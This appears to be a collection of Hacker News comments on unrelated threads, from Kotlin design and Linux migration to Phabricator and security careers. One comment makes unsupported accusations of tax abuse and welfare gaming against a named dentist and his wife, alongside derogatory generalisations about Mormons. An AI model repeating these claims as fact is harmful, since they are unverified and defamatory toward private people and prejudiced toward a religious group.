Isn't type inference wonderful? Especially with reified types making API's like this possible.<p>5. <i>Type declarations</i> in the form of `name: Type ` are by design to allow for unambiguous syntax which keeps the language smaller and leaner than the C style typing which cannot be used everywhere without extra cruft to delimit what is going on. Plus this is more readable when scanning variable declarations since they are at a fixed position from the left instead of a random position on the right. Here are some good reading for you that let you know the Java style `Type varName ` is actually the less common across languages: <a href="https://softwareengineering.stackexchange.com/a/311739/208884" rel="nofollow">https://softwareengineering.stackexchange.com/a/311739/20888...</a> and then this post about how it interferes with higher level concepts in language to have it backwards as Java does: <a href="https://softwareengineering.stackexchange.com/a/311730/208884" rel="nofollow">https://softwareengineering.stackexchange.com/a/311730/20888...</a><p>6. <i>Companion objects</i> are there so they can be extended, including with extension functions. You can easily do things like logging using other models and delegates instead of adding a companion object. Your logger system likely caches the logger by the way so having a reference on the object is not a huge item to add. You can also have a `main()` as a top level function and is not required to be in a class which probably makes more sense for a main anyway.<p>7. <i>Collection literals</i> are not present in Kotlin because in the JVM developers are more specific about the exact type of collection they wish to construct, and there are simple helper functions which make things clearer. The `: ` being used for maps would overuse that symbol and cause it to have different meanings (I think you complained about two uses of `: ` then you later suggest a third). What is wrong with `to ` for creating a pair which is used to create the map? it is an extension function, highly readable, and you can actually make your own with some other name (other than `: `) `to ` isn't part of the language syntax nor forced upon you. The Groovy syntax is bad because it looks like you are declaring a list/array. The other syntaxes don't say whether the maps are readonly or mutable and that is important in Kotlin. It is a carefully thought through issue.<p>8. <i>Maybe?</i> is not needed as much due to alternatives and null safety. But, there is the JDK <i>Optional</i> which you are showing and can just as easily be used by Kotlin as well. And more "native" versions in open-source Kotlin libraries. Kotlin just doesn't have one in its standard library, nor does it need one. I personally dislike API designs that force optionals on me for everything, so I'm glad Kotlin doesn't.<p>For your example code, why are you using Optional for this case of `parseAndInc `? Kotlin has the `?. ` safe operator to continue a chain when not null, and the `?: ` Elvis operator to provide a fallback on null values. Any operator like `+ ` is also available from its operator function (i.e. `plus() `) or in this case simply `inc() `. Therefore:<p>Kotlin:<p><pre><code> fun parseAndInc(possibleNumber: String?) = possibleNumber?.toIntOrNull()?.inc() ?: 0
</code></pre>
Yet you can also write the same Kotlin code as your Java example (and slightly less typing):<p>Also Kotlin:<p><pre><code> fun parseAndInc(number: String): Int {
return Optional.ofNullable(number)
.map(Integer::parseInt)
.map { it + 1 }
.orElse(0)
}
</code></pre>
Compared to your Java:<p><pre><code> public int parseAndInc(String number) {
return Optional.ofNullable(number)
.map(Integer::parseInt)
.map(it -> it + 1)
.orElse(0);
}
</code></pre>
Please remember that everything you can do in Java you can do in Kotlin including using all those Java classes you are familiar with. But, you can also learn idiomatic Kotlin and write it differently. This is one of the reasons the learning curve is very low.<p>9. <i>Data classes</i>, so you aren't complaining here or are you? You can't inherit the equivalent in Java either, you would have to rewrite `equals `, `hashCode `, `toString ` and more if you did that and each would need to be customized. So Kotlin has the same issue, inheritance of these is dangerous because manual decisions need to be made in order to do so. You CAN inherit from another class, and you could use composition and interfaces instead. Data classes are a life saver in code, covering a huge number of cases without all the boilerplate of manually coded JavaBeans.<p>10. <i>Final classes by default</i> are a good thing, and this has been heavily researched and talked about in the Java community as a best practice. Some old Java libraries do not know how to handle this because they don't expect it to be a problem. But those libraries are changing, and complier plugins for these libraries already help you out with 0 effort in changing code. Plus, newer libraries deal with this without problems. If you want to modernize, you have to modernize and not just expect new things to continue with allowing bad habits because some legacy code doesn't do things elegantly. I can't think of any blocking case related to this. It was well known, well covered, and is a non-issue.<p>11. <i>Shallow learning curve.</i> Kotlin is small language, consistent, and elegant. It does NOT have a steep learning curve. It is no where near Scala in terms of effort and complexity, yet you lump it in there anyway. Plus, isn't it worth learning a language over a week that'll save you 40-50% the lines of code, automatically eliminate whole categories of bugs you write, be many times more readable and maintainable? Kotlin is a few days to a week for an ex Java developer to write reasonable code, and then later they'll write more elegant code over time.<p>And about <i>Spock vs. Spek</i>: You don't have to pick either/or, since you can use Spock from Kotin too like any other Java library. |
Mike Meru Has $1M in Student Loans. How Did That Happen? | I personally know him and his wife. There is a lot of important information left out in this wsj article. I met this dude while at USC grad school. That used Mercedes they were driving was really a 1-2 year old certified car. They just could not drive a corolla or anything else. While in dental school, his wife, Mrs Melissa Meru, starts working at USC which offers a generous perk of halfing your family members tuition for 4 semesters. Think about it, he was paying half of what everyone else paid for semesters and to add insult to injury, she pretty much quits once the 4 semesters of tuition benefit run out. The guy is real snake too: while in school, he was part of the ethics committee and class president, but behind that tall handsome person was a competitive shit talker and rule bender. Mind you, also, in the mid to late 2000s, most USC classmates of him were rooming in apartments that cost only 800-900 total. 1500 rents you a nice 1br in Santa Monica, Brentwood or Beverly Hills so you can imagine where they were living at that rent price (and those cities are far from where usc is). The article fails to mention how this family consistently took vacations to Central America during their school years, the well dressed and brand name clothes they sported, the free parking they received at usc just for being Mormons, the cheating that was prevalent in the Mormon community in obtaining and passing tests around within the Mormon community. Yea, some real upstanding guy chairing an ethics committee. Oh, did I forget the fact that these Mormons purposely had families while in grad school because they had all learned to apply for welfare? So, on one hand, they’re claiming how Hispanics and African Americans are having kids and using the government to not work, but they are doing the same thing. We just didn’t realize it until word got out in the second year of our graduate program.<p>Mr Meru did go to residency in orthodontics to chase the good financial work life balance but here’s what the article fails to mention. Fresh out of school, the family buys a Mercedes G wagon (yes, the insanely dumb looking 100k + gas guzzling boxy Mercedes SUV’s that even used cost a horrendous arm and a leg. They then purchase a completely decked out, custom ordered Mercedes minivan/utility car for their family adventures and trips. Mind you, all of these purchases are used as a tax ride-off because the article fails to mention Mr. Meru did have the ability to pay back his loans but chose to start a sunglasses company called Ltd optics and every life expense was used as a tax ride off. You should look at the Instagram and Facebook posts of the wife, Melissa Meru, and Dr Mike Meru himself: chaulkfull of vacations, great clothes, iPhone watches, custom designed Home furnishings/art and the list goes on... in one photo, Mrs. Meru posts an image of her and her two daughters wearing brand new Jordan’s. That’s at least $700 purchase. They regularly travel out of the country, every week Mr. Meru flies to aspen, Canada, Colorado or treks to different parts of Utah. Now, you might think how does he have time? Answer: the guy refuses to work full time. Most orthodontists that graduate work 6 days a week for 6-7 years but this guy works 3-4 days a week because those weekly snowboarding trips or monthly Malibu surfing excursions with the entire family can’t be done on 2 day weekends or heck 3 days even. All the while they are taking these vacations, they turn around and expense the entire thing because they advertise their cheasy sunglasses or stupid snow glasses. Just think, flight for four people to Aspen, all the snow gear for the family of four that runs into the thousands, hotel expenses, food, dining, kids entertainment and etc. costing into the thousands each weekend and then all they do is tag the hashtag ltdoptics to ride off the entire weekend as a tax expense.<p>Oh, and a used Tesla model X (the one his wife drives) costs still a cool $90k and requires an additional in house charging dock investment. Many have pointed out that Dr mike Meru is an entitled brat and if you know him, under the nice guy persona he uses to befriend and climb ranks is a real elitist. Btw, his entire goal with his sunglasses company was to build it up, mass market it and then sell it off to some sucker like Oakley did. The guy has the money to pay it. He just doesn’t want to. Oh, and word is, after pampering DrMeru at usc, the USC faculty and dean are super upset with the way article has portrayed the school. Dr Meru’s usc tuition was never that high during his school years and many of his classmates are well on their way to a responsible, comfortable life. He’s just looking for a freebie. |
Update: The agenda-driven edits of Philip Cross and Wikipedia's response | I suggest, perhaps, that the current focus should be on the evidence that I, and others, are now uncovering and presenting, rather than on my alleged improper behaviour in the past.<p>A month ago I had very little interest in Wikipedia except as an end user. I joined Wikipedia as an editor because I read that some information that I regarded as common knowledge, and a matter of public record, and as in the public interest to be disclosed as widely as possible, was being edited off the Oliver Kamm page by someone again commonly believed to be a partisan gatekeeper acting as the judge of what should and should not be disclosed on many Wikipedia articles.<p>I knew nothing of Wikipedia procedures, and made many mistakes, and stuck to my guns, and battled more experienced people in edit wars, and as a result I am banned from Wikipedia. Shrug. I am resigned to that as an entirely understandable result. My heart is not broken that I will never edit Wikipedia again. I accept my fate.<p>While I was edit warring, I looked into other pages edited by this alleged gatekeeper, and what I found astounded and outraged me. I suggest that people go and look at the circumstances under which the pages "Tim Hayward (academic)", "Piers Robinson", and "Tara McCormack" were set up. In particular, go and look at the Hayward article just after it had first been finished with by Philip Cross, but the Robinson article has also been described by a Wikipedia editor, certainly not myself, as an "attack page". The timing is important. These three pages were set up on, or the day after, an extremely hostile report on these three academics by the British "Sunday Times". It is as clear as daylight that the purpose of setting up these pages was to attack and discredit them. There does not seem to be any evidence that they were added as new work to be set up in any normal way. One editor, "Philafrenzy", was perhaps privately requested to set them up by Philip Cross, who then stepped in to edit them all a day or two later.<p>These three academics were also tweeted about by a well-known journalist. The hostile accounts were set up the same day. Twitter users are currently documenting what appears to be a very peculiar symbiosis between this journalist and Philip Cross. On the face of it, there seems a most unhealthy conflict of interest issue here.<p>If the Hayward account in particular is examined closely, it is clear that the original articles referred to in the Wikipedia page contain a good deal more balanced material than was originally included on the page. The selection of material appeared to me to be thoroughly partisan. This is also the opinion of Professor Hayward himself. Professor Robinson has expressed similar opinions. Doctor McCormack had no idea that her page had even been set up, and was most unhappy about the matter when I informed her of it.<p>Rightly, or wrongly, that is how the Hayward-Robinson-McCormack situation presented itself to me. There were other aspects to the matter. For example, the McCormack page cited opinions of hers, which were accurately cited, certainly, and were also very controversial. It appeared to me that the reason these opinions, and these alone, were cited, were to make her look like a radical lunatic. It was particularly notable that "Spiked", a publication which I had no doubt would have in any other circumstances have been booted from Wikipedia by this gatekeeper as an unreliable source, was retained and cited as a footnote. The obvious reason was that it contained opinions by McCormack that seemed ridiculous and outrageous. There appeared to me to be a very unpleasant agenda behind these pages.<p>Since then, of course, the number of people looking at this matter has substantially broadened and more evidence has come to light, and more is forthcoming all the time. I welcome that. I am not in the least interested in publicity. All I am interested in is getting this evidence out there and shown to people so that they can judge for themselves. I make no claim to be any sort of hero. Five Filters did not consult me before they quoted me, and the only reason they seem to have quoted me is that I have presented evidence which they believe is worth bringing to light. I concur with that.<p>There is an enormous amount more to say - I have presented only one example, which barely scratches the surface - but I have probably said enough for people to understand that, however wrong-headed I have been, I am not simply some random vandal, and I have not acted out of some personal animosity, or even thought-out agenda. I have simply wanted some information out into the public domain. That has led me to the discovery of other matters, which I also think properly belong in the public domain.<p>Never mind me. Please focus on the evidence that is being brought forth, on Twitter and elsewhere, and use your own judgement as to whether or not it is reasonable.<p>Best wishes,<p>Leftworks. |
Ask HN: How did you transition from Mac to Linux? | I migrated from Mac to Linux about 5 years ago.<p>I had used the Mac privately and professionally for a living since around 1987, as a typesetter, graphic artist and software developer. My harddisk contained all private and business data and had never seen a fresh install since the first version of MacOS X - I was successfully updating the OS ever since. Shortkeys were of course in my muscle DNA and I new every file in the Library-folders by name. Hard to imagine to leave that experience for good. But I got so concerned about Apple's way into entertainment electronics, that I was commited to leave in time.<p>Hardware-wise I switched from the MacBook Pro 17" first to a Lenovo Thinkpad W520, and four years later to my current Tuxedo XUX707. Both computers I liked a lot, but the Tuxedo I really love. It is a beast with 32GB RAM, 4TB HD, 256 GB SSD, desktop i7 7700, 4K monitor and a dedicated Nvidia 1060. It is heavy and loud, more a gamer PC than a laptop, but performance and reliability are incredible. I have two external monitors connected to it.<p>I prepared the transition for about a year. First I tried a couple of Linux distros (on a second partition of my gaming PC) and after a while I decided for Ubuntu. I made sure to execute at least one major distro update of my final selection of Linux candidates to make sure they ran flawlessly. My favorite was Linux Mint, but it failed on one of the upgrades and so I ended up with Ubuntu. Unity was never an issue for me.<p>Then I investigated how to transfer my mails (some ten thousands), but I had used Thunderbird already on the Mac and so there was no trouble at all. Next I transferred my data to the Ubuntu test machine and played a while to find, how well I could continue with my daily chores. Turned out to work quite well. At that time I was not much into graphic design any more, but much into software development. I found comparable software for everything except Adobe InDesign (Scribus just won't do). I replaced Lightroom with Darktable, Photoshop with Gimp (do not like Gimp a lot, but it works for my needs) and later Krita, Illustrator with Inkscape and Microsoft office with LibreOffice (and later Softmaker).<p>Not all of the replacements had the same quality as on the Mac, but they were ok, at least no showstoppers for my commitment to switch. In many domains, especially development, text processing and the like, I was overwhelmed how many good (and many free) solutions were available in the Linux world. It was sort of enlightenment. Of course, there was a lot of new stuff to get used to: application installation via package managers, shortkeys and the like.<p>After about 3 months of "playing" with the prepared test system I decided to switch and I knew that I would have to switch hard. I was very afraid to end up living in two systems. So I decided for a D-Day, did a last synch of data and put the Mac in the shelf. Yes, the first month was hard, but as I was commited to never return, I just went through and it worked. Today, I could not imagine to ever return to the Mac.<p>I never had crackling sound, blinking screens or anything like this. My Linux computer can connect and handle much more hardware than any Mac I ever had. It is very possible (and likely), that certain computers will not work well with Linux - this is something you have to make sure with a test installation before you switch, but it is for sure not a generic issue. I switched to Tuxedo because they offer Linux-tested hardware (and they build the computer as you want it). The worst hardware issue I ever ran into was lacking support for keyboard lights.<p>There are occassional issues with the proprietary nvidia-drivers, though, that can really drive someone mad. I know how to handle this by now, but this was the only real annoyance I ever encountered.<p>One word of warning, though: I have always been a developer since my childhood and I was pretty experienced on the commandline long before I switched to Linux. This might give me an attitude and advance that other Mac users might be missing and that might make a transition more difficult. While the standard Ubuntu system will be sufficient for most users out of the box, there might arise the need to fix or enhance or adjust things and while this felt very natural for me with my background, it might be a big hurdle for others.<p>My setup today is: I live completely on the Linux laptop. I still have a Mac on the desk for compiling iOS apps and casual use of Adobe InDesign. I use the "Das Keyboard" keyboard with unlabelled switches and the synergy keyboard sharing software, so I can use the Linux computer and the Mac as one computer. I have the keyboard-layouts and shortkeys of both operating systems in my muscle DNA now and in addition a good deal of the Emacs-shortcuts ;-) |
Ask HN: How did you transition from Mac to Linux? | I decided to install Linux Mint (which is heavily Ubuntu-based) directly on my old A1260 MacBook Pro in 2015 - I ran into some interesting quirks with the GPU (had to force it into BIOS mode) but other than that, I ran the machine for a year purely on Linux. After setting the machine up how I liked it (I really like the Cinnamon UI, even though it's much more Windows-like), I moved the same configs to my other machines. I have a ThinkPad X220 also running Mint with an extra battery for traveling, and a seldom-used desktop PC.<p>The aging MBP finally wore out in 2016 and no longer powers on (but after 5 years of daily use, I'm quite impressed with it). I bought a custom-built Clevo gaming laptop from Scan's 3XS division, since it gave me a lot of say over the hardware - I chose Intel and nVidia where possible to ensure compatibility. I intended from the start for the laptop to run Mint, and it has done so impressively - it has a 1TB SATA SSD for the OS (which I have dual-booting Windows for games) and a second 256GB NVMe SSD dedicated to my Steam library. I like that the machine has enough RAM (16GB) that I can casually jump into a Steam game whenever I feel like it without closing what I've currently got open, and that the RAM and SSDs are upgradable. It's also covered in ports either side, including ethernet and 4 USB3.0 ports. And it cost me less than half that of an entry-level MBP.<p>I found Linux is mostly there, but there are some things that Apple still does much better. The touchpad is the most obvious - even using a utility like Fusuma, multi-touch is still only fluent on a Mac, and the Synaptics pad on the Clevo often takes several swipes to register. The keyboard is also nowhere near as nice - I have to press the keys very hard, and often use it with an external. The UI, however, is extremely usable and familiar, so much so that I've converted family members using it. The hardware support is excellent - all the hardware, Wifi, USB ports etc. worked out of the box - and the performance is superb. I spec'd a good i7 chip for future-proofing and it's still extremely fast, and the Geforce graphics handle 3D gaming with ease.<p>One major hardware problem I had was that the screen cable wore out after only a year of use, and although it was replaced under warranty, it seemed like a very silly thing to wear out so soon. For comparison, the only hardware problems I experienced on the MBP were a detached Bluetooth antenna (probably from when the previous owner upgraded the HDD) which just clipped back on, and the webcam cable failed, but I was able to buy a spare and replace it myself. I also kept the machine very clean and was surprised at how little dust there was inside it. The bottom panel of the Clevo comes off easily enough, but the fan vents seem much more inviting to let dust into the chassis. Battery life is also abysmal - with the machine set on the nVidia GPU, it lasts less than an hour, and less than 2 days in sleep mode. I didn't buy it to use on battery, however, as I regularly travel between fixed locations so I have mains power.<p>The longevity of the MBP did surprise me - I used it daily for 5 years with no problems, and went from Snow Leopard (which is my all-time favourite OS) up to Mavericks. The build quality was very, very good, and with the exception of Lenovo ThinkPads, I can't think of another machine I could expect that much useful life out of. However, Macs are no longer upgradeable and are very difficult to repair - current machines have the RAM soldered to the board, and if the SSDs are replaceable, they're proprietary Apple ones. I made it a goal with the replacement to have it upgradeable - the CPU will address up to 64GB RAM so I would be able to quadruple the factory value when 32GB DIMMs hit the market (they seem to be close), and the SSDs are standard. I added the second one 6 months after I bought it. That said, the case does not feel anywhere near as solid and rugged as the MBP's metal chassis - I took the MBP around the world with me, but the Clevo feels a lot more fragile, so I take the ThinkPad instead now. I looked at the T-series ThinkPads but none of them had offboard GPUs when I was shopping.<p>Don't forget, with Linux, you can easily try before you buy - download an ISO, write it to a USB stick and boot your current Mac from it, then check out the OS from the live environment. Try a number of different Ubuntu variants, e.g. Gnome, MATE, Kubuntu, Xubuntu etc., see which GUI you get on best with. For hardware, I would definitely recommend ThinkPads. |
Phabricator – GitHub Alternative written in PHP used by the Wikimedia Foundation | A while back, I chose to migrate my open source projects from GitHub to Phabricator. Having open source projects on GitHub has felt like having an email inbox that's open to the public where there's an expectation to respond to every form of spam. It's been a source of aggravation for me that's taken the fun out of coding on side projects. In my opinion, two out of the three bullet points from Dear GitHub [1] are still unaddressed, but all three are handled by Phabricator.<p>I looked at GitLab, Bitbucket, and Phabricator. I selected Phabricator because it provides more control for moderation and managing workflows and it's 100% open source [2]. Some examples of ways Phabricator can be customized:<p>- Create a custom "New Bug Report" form with fields for reproduction steps, expected results, actual results, software version, operating system, etc. Customized forms are more than just a Markdown template. (This is the first bullet point from Dear GitHub.)<p>- Provide instructions on how to fill out each custom form. You can customize the blurb at the top of each form using Remarkup (similar to Markdown). (This is the third bullet point from Dear GitHub.)<p>- Keep security issues restricted to a private group until they've been resolved.<p>- Default user-reported issues to private until they've been triaged. (This could help alleviate the expectation to publicly reply to all spam.)<p>- Require users to acknowledge the contributing guidelines before submitting a feature request.<p>- Access to forms can be customized with ACL groups, which can be used to moderate spam by granting or revoking access to features based on users' behavior.<p>- Require signing a CLA or DCO before submitting a patch. This has first-class support since Phacility requires a CLA for contributions to Phabricator.<p>- Tasks can have subtypes, such as "feature" and "bug." (You can also do this with "project" tags, but I think Phacility's plan is to use subtypes to extend the custom fields functionality.)<p>Phabricator also has some nice extras that weren't part of my decision criteria:<p>- It has a built-in blogging application (Phame), which could be used to publish release notes or important changes (e.g., "Upcoming Breaking Changes in v2.0"). A feed of these news items can be added to a custom dashboard along with commit and task activity to help users keep up to date.<p>- A built-in polling application (Slowvote) can be used to solicit feedback.<p>- A Q&A app (Ponder) could be used to help answer users' questions without cluttering the issue tracker. Unfortunately, this app currently lacks some customization and moderation capabilities.<p>- Paste is for sharing snippets (similar to Gist).<p>- Flags can be used to bookmark anything you want to remember to come back to with an attached note.<p>- Pholio is a review tool for mockups. I probably won't need this for my peronsal projects, but I thought it was a cool idea.<p>Phabricator comes with some trade-offs. The downsides that I've noticed:<p>- There isn't a good hosted option for open source projects. Phacility provides hosting at $20/user/month, but if you have to pay $20/month for every user that signs up to file an issue, that's financially unviable for an open source project. Personally, I prefer self-hosting, so this isn't an issue for me. I'm mentioning it because I know others will prefer a hosted solution.<p>- Navigating the UI isn't as smooth out of the box. Some common tasks require an extra click or two compared to GitHub or GitLab. Some of it can be alleviated by customizing the places where you want a direct link. For example, you can add a link to a repository in a project's sidebar. (Projects are independent of repositories, so they're not automatically linked.)<p>- It's meant to be customized, so it's not as simple as just install it and start using it right away. It takes some time to setup and migrate projects.<p>- Many of the tools that aren't core functionality (repos, tasks, code review) are MVP quality. This includes the CI tool (Harbormaster) [3], the Q&A app (Ponder), and the human intelligence queue (Nuance) [4] among others.<p>- Phacility's focus is on enterprise customers, so it's not clear how issues that are unique to open source projects will be prioritized. I haven't seen this be a problem and it's used by some prominent open source projects (FreeBSD, GnuPG, Wikimedia), but it's worth mentioning as a possibility.<p>I've been playing around with Phabricator on a FreeBSD instance on DigitalOcean. For anyone else considering Phabricator, note that the page response time is greatly affected by the instance type that you choose. A standard droplet on DigitalOcean or any of the VC2 instances on Vultr provided about a 1 second response time (measured by Nginx's $request_time in the logs). A CPU optimized droplet on DigitalOcean provides about a 100 millisecond response time and results in a noticably more responsive UI. I can't speak to the response time on EC2 instances, because I've only tried hosting providers with first-class FreeBSD support.<p>[1] <a href="https://github.com/dear-github/dear-github" rel="nofollow">https://github.com/dear-github/dear-github</a><p>[2] "No special editions. Everything included, open and free" (<a href="https://phacility.com/phabricator/" rel="nofollow">https://phacility.com/phabricator/</a>).<p>[3] The documentation for Harbormaster says that all it's really good for is to notify an external CI system (Jenkins, Buildbot, etc) to trigger a build and then to receive build results. It doesn't have any built-in capability of running builds.<p>[4] Nuance seems like it has potential as a triage queue for user-reported feature requests and bug reports, but it currently lacks the necessary customization.<p>(Edited for formatting.) |
Performance Reviews Are a Waste of Time | I generally agree with most of the points that the author is making here, however, I have some counterpoints to offer as well.<p>The major issues with performance reviews almost always come down to poor execution. The whole "Performance Reviews Suck" mirrors the whole "Agile Sucks" in that in principal it <i>can</i> be good, but in practice, it rarely is. Most of it falls on how a manager handles a review, but part of it falls on how an employee receives feedback, as well.<p>So on to my counterpoints: At the one place and under the one manager, Lou, in my job history where performance reviews worked really well I managed to receive among the worst performance review I have ever received. The <i>score</i>, as it stood, was fine -- I was a top performer at the company and it was hard to argue with the results -- I scored "exceeds" in every category. The criticism, however, was rough -- it was honest, direct and after reading it, I couldn't disagree with any of it very well. I had a <i>great</i> manager who both understood where I excelled and recognized areas where I could grow. He started out the review with "Before you freak out . . . " and went on to explain that the scores and the comments are not going to feel like they're not in full agreement[0]. He explained that the yearly review[1] is about growth, and growth requires feedback, that he didn't need to tell me how well I was doing because we both knew how well I was doing and that his goal is to specifically find areas where I can improve and put a plan together on how he was going to help me get there[2]. A bit of my feedback involved written communication to business managers, "identifying what's important" and throwing the rest out. My comment history will shine the light on the fact that I'm long-winded -- I type fast like the rest of you and I read very fast, so neither receiving or sending a long message is a burden. He did several screen sharing sessions with me to hone my communications, he gave me several books (some from his personal collection) to help me to round out my engineering skills, encouraged me to look at languages and technologies that had different programming paradigms than I was used to. It resulted in me studying a lot of areas that had little to do with my job as a primarily Microsoft-centric developer, but all of it resulted in me becoming a much better developer.<p>In the right hands, a performance review can be very powerful. It provided a formal time slot to sit down and talk specifically about ways to improve at what I loved doing. A lot of folks would think, "Well, your manager should be doing that, anyway" -- sure -- and in a couple of decades of having a career in engineering, the <i>only</i> time this has happened was under a formal review with all of two of the 15 or so people that I have worked for. For whatever reason, people are unwilling to offer criticism like this outside of that setting, and most of them are unwilling to offer it <i>within</i> that setting for a high-performing employee. And why should they? The high-performers aren't the ones they have to spend time on! And honestly, I would have been more <i>comfortable</i> had he not shared these negative aspects of my performance with me -- they weren't a "big deal", they weren't affecting the great ratings -- leave well enough alone! But the fact that he <i>did</i> bring these things to my attention made me better at what I love doing. I didn't get higher ratings at the next review (though I received feedback about how well I handled the feedback from the last review), and I received far fewer negatives in the process.<p>Since having that manager, I have told every <i>other</i> manager I report to that "I'm comfortable with receiving criticism" and that I value that kind of feedback, a lot. It hasn't made a terribly large amount of difference in the kind of reviews I've received, unfortunately, but my hope is that by putting that out there, I disarm a manager who is afraid of losing a top-performer as a result of negative feedback.<p>I've never had to give a review (as a manager; I've done a ton of peer reviews), but the advice I'd offer is: (1) Everyone has something they want to do better and <i>can</i> do better -- call it out. Maybe they don't even realize it's a problem. I didn't! (2) Don't just <i>point it out</i>, commit to working with the employee on the area they received feedback on. (3) Disarm the employee, particularly if their score is high as they'll not expect to see negative feedback. Start with compliments and move into areas of improvement; be as self-deprecating as possible[3]. (4) Actually <i>do</i> the things you set out to do to help your employee. (5) Limit the happy stuff, don't sugar coat the bad stuff[4].<p>That last point might seem off, and it is -- this only works if you had a boss like the one I had -- he was a great communicator and regularly provided feedback on the positive side. So when he started off the review with "You know how valued you are and how well you do your job", it wasn't placating or dismissive -- I legitimately knew by the flexibility I was given and the constant feedback I received. He was a master at criticising the act rather than the individual, as well, which is something I'd love to be better at.<p>[0] The comments started off explaining all of the areas that I excel in, but were terse and similarly direct.<p>[1] This manager also did quarterly less-but-still-somewhat-formal reviews, as well, which I valued.<p>[2] This was a key point, to me. It was a recognition that part of his job was to make me better and that he wasn't sending me off with negative feedback and expecting me to figure it out -- he was generating work for himself, as well. Honestly, I felt pretty miserable about this particular review for about a month, but during that month, he followed up almost every day on one of the points we discussed and spent several hours providing advice and directly working with me to improve on the areas that he felt I needed help with. I realized that it would have been a lot easier for him to say "atta-boy" and be done with it.<p>[3] My boss explained that he had the same problem "focusing messages" -- he'd spent an hour with his manager at a prior job agonizing over words in sentences trying to reduce content to a bit over a few tweets without diluting the message. I don't know if that was entirely true (except that this boss was also, easily, the most ethical person I've ever reported to).<p>[4] As in, don't minimize the negatives, brush them off, or try to find ways that the negative is a positive -- it's placating and dishonest about the intent. |
Ask HN: What are the roadmaps to becoming a kernel dev or Security analyst? | Are you sure you know what a Security Analyst does? Few things in IT are as different as those two roles.<p>For one you need minimal communication and interpersonal skills as a ker el dev,it's the opposite as a Security Analyst.<p>Security Analysts do different things based on the company. This can include SOC work,vulnerability management,incident response and threat hunting. It all depends on the size and scope of the security departments.<p>Let me give you two analysts at different companies for an example:<p>Bob spends 40% of his time responding to SIEM events which include IDS alerts,firewall alerts,AV and endpoint ATP solution detections as well as suspect windows or linux system events. He knows some malware and network traffic analysis to do his job but most importantly he understands the various paid and free tools needed to do his event analysis work. 30% of his time is spent on reviewing suspect phishing emails and reported security issues. The rest of his time is down time or he processes and documents indicators of compromise for known current threats. He does little to no coding. The security department is well resourced and matured so he does not need to manage vulns, do incident response or other pesky tasks.<p>Enter Analyst 2,Alice. Alice also handles some SIEM events but maybe 20% of her time. The company is either too small or has too much of an immature security department to have 24/7 monitoring,they either outsource SIEM monitoring to a MSP and only look at confirmed true positives or they just don't see enough SIEM events to care for 24/7 human eyes.
Alice attends a lot of meetings with security vendors and internal teams. She works on various projects but also handles threat intelligence,vulnerability scans and incident response which all takes up 70% of her time. Phishing emails,threat intel and hunting are all done on left over time. Alice might do coding but only as a last resort.<p>These are just very vague examples but even if you work for a security vendor,the work in some shape or form involves these types of tasks. Now, A dedicated malware analyst for a security company can reverse engineer malware all he wants and do write ups. A security engineer might do sysadmin-ish work and integration coding. A pentester or red teamer might do presentations and occasionally pentest but these are not typically described as a "Security Analyst" roles,they are more or less infosec roles one gets after getting their feet wet elsewhere in infosec(Like with alice and bob).<p>To answer your question: there are generally two paths you can take. The traditional path, where your passion for infosec and a well rounded IT experience is valued above all else or the latest trend which is to recruit people with a formal infosec degree. Either way works at least for now. If you have any kind of a technology degree you're fine,else one never hurts.<p>A few years of working in IT ops is generally recommended before an infosec role.This isn't because you can't learn stuff in a lab but having context around events and knowing how IT is operated is very important for analyzing a security event or when responding to an incident.<p>I went on longer than I should have but I figured someone else might read this and find it helpful.<p>Helpful links:<p>Att&Ck framework:
<a href="https://attack.mitre.org/wiki/Main_Page" rel="nofollow">https://attack.mitre.org/wiki/Main_Page</a><p>NIST pubs (there are a few more out there if you care to duckduckgo):
<a href="https://www.nist.gov/publications/computer-security-incident-handling-guide" rel="nofollow">https://www.nist.gov/publications/computer-security-incident...</a><p><a href="https://csrc.nist.gov/publications/detail/sp/800-40/version-20/archive/2005-11-16" rel="nofollow">https://csrc.nist.gov/publications/detail/sp/800-40/version-...</a><p>Traffic analysis excercises:<p><a href="http://malware-traffic-analysis.net/training-exercises.html" rel="nofollow">http://malware-traffic-analysis.net/training-exercises.html</a><p>A good awesome list that does a good job of what I'd say a security anaylst needs to know;<p><a href="https://github.com/0x4D31/awesome-threat-detection/blob/master/README.md" rel="nofollow">https://github.com/0x4D31/awesome-threat-detection/blob/mast...</a><p>Others here can probably answer the kernel dev part better than myself. Although,the Linux kernel newbies(janitors) site and mailing list might be a good place to start asking. I liked the linux device drivers book as well(<a href="http://www.makelinux.net/ldd3/" rel="nofollow">http://www.makelinux.net/ldd3/</a>)<p>Last word - evaluate your life goals carefully and rationally. Happiness isn't everything. It's nice to pursue what makes you happy and passionate now but finances,responsibilities and other life factors should be considered. I am not saying this as a discouragement but as a practical advice. The person who loves tearing apart malware or writing a kernel patch on his free time might some day start thinking family time and time spent taking care of one's self is more desirable and this might conflict with career goals and make hiring managers think "Oh,he doesn't have a malware analysis lab at home and I don't see him posting malware write-ups done on free time. He/She doesn't have passion for the work." -- tangentially, maybe this is why you don't see as many women in infosec as other IT sectors? Might get me downvotes but like it or not, women who choose to have a family have a harder time "Breathing,eating and drinking security" (or as I say, maintain an unhealthy work-life balance that benefits employers)<p>Hope I helped. |
The Decline of the MacBook Pro | I was disappointed on Monday when the WWDC keynote made no mention at all about future Mac hardware, not even a general roadmap. I'm in need of a new laptop, one that has powerful hardware, including 32 GB RAM, and unfortunately there's no portable solution from Apple that supports more than 16 GB of RAM unless I want to lug around my Mac Pro or purchase a high-end iMac.<p>For the past few months I've been using Linux Mint on a spare ThinkPad T430 that I have. As a computer science researcher I use my computers for development (largely in C, C++, Java, or Python, although I've been bitten by the Lisp and Smalltalk bugs lately and I've been learning Common Lisp and Pharo, respectively), reading and writing papers, drawing the occasional diagram, and entertainment. For these purposes Linux Mint is good, and I could be productive in this environment. However, there are a lot of conveniences in macOS that I miss in Linux or even Windows, and these little conveniences make me more productive in macOS than in other operating systems. I prefer Keynote to PowerPoint and to LibreOffice Impress. I love how it is possible to print to PDF from any macOS application; it's a feature I regularly take advantage of. I love Preview.app; it can concatenate PDF files, and Preview.app also supports PDF highlighting, which is a feature I make heavy use of as a computer science researcher. Unfortunately, I had a difficult time finding a Linux-compatible PDF viewer that could highlight PDF files in a portable way. Even running Adobe Acrobat Reader under Wine wasn't sufficient due to rendering issues under Wine. Another Mac program I make full use of that has no Linux equivalent is Dictionary.app, which contains the New Oxford American Dictionary, a Japanese-English dictionary, and a Japanese-Japanese dictionary. Having an offline dictionary is a wonderful convenience, and as someone studying Japanese, having full Japanese-English and Japanese-Japanese dictionaries on my computer is 